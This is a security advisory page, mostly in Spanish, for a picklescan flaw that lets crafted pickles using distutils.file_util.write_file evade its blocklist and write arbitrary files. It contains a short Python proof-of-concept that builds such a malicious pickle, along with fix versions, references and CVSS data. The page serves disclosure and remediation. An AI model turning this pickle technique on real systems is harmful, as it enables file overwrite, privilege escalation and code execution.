Picklescan vulnerable to Arbitrary File Writing
Summary
Picklescan has got open() and shutil in its default dangerous blocklist to prevent arbitrary file overwrites. However the module distutils isnt blocked and can be used for the same purpose ie to write arbitrary files.
Details
This is another vulnerability which impacts the downstream user.
By constructing a pickle that user distutils.file_util.write_file, an attacker can overwrite critical system files (like .ssh/authorized_keys, web server configurations, or source code) to achieve DoS or escalate to RCE.
PoC
import pickle
import distutils.file_util
class FileWriteBypass:
def __reduce__(self):
target_file = "pwned_config.env"
content = ["print('I have overwritten your config')"]
return (distutils.file_util.write_file, (target_file, content))
payload = pickle.dumps(FileWriteBypass())
with open("bypass_filewrite.pkl", "wb") as f:
f.write(payload)
print("bypass_filewrite.pkl")To fix this just add disutil to the blacklist
Software afectado
Haz clic en una tecnología para ver todas sus vulnerabilidades.
| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Python (PyPI) | picklescan | < 0.0.33 | 0.0.33 |
Referencias
- https://github.com/mmaitre314/picklescan/security/advisories/GHSA-m273-6v24-x4m4
- https://nvd.nist.gov/vuln/detail/CVE-2025-71321
- https://github.com/mmaitre314/picklescan/pull/53
- https://github.com/mmaitre314/picklescan/commit/70c1c6c31beb6baaf52c8db1b6c3c0e84a6f9dab
- https://github.com/mmaitre314/picklescan
- https://github.com/mmaitre314/picklescan/releases/tag/v0.0.33
- https://www.vulncheck.com/advisories/picklescan-arbitrary-file-writing-via-distutils-module-bypass
- https://pypi.org/project/picklescan
- https://github.com/advisories/GHSA-m273-6v24-x4m4
- Vector CVSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P- Debilidad (CWE)
CWE-502, CWE-552- Plataforma
- Python (PyPI)
- Paquete
picklescan- Publicada
- 29.12.2025
- Actualizado
- 11.10.2026 13:19
Fuentes y licencias
OSV / GitHub Advisory Database - PYSEC-2026-1791 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-m273-6v24-x4m4 - CC BY 4.0
Historial de vulnerabilidades: picklescan
Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 58
- Primera → última
- 02.2025 03.2026
- Sin corrección
- 0
- Explotada en ataques
- 0
Distribución por gravedad
- Crítica 7
- Alta 25
- Media 26
Divulgaciones por año
- 2025: 51
- 2026: 7
-
Picklescan vulnerable to Arbitrary File Writing esta entrada
Identifica las vulnerabilidades de tu aplicación
Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.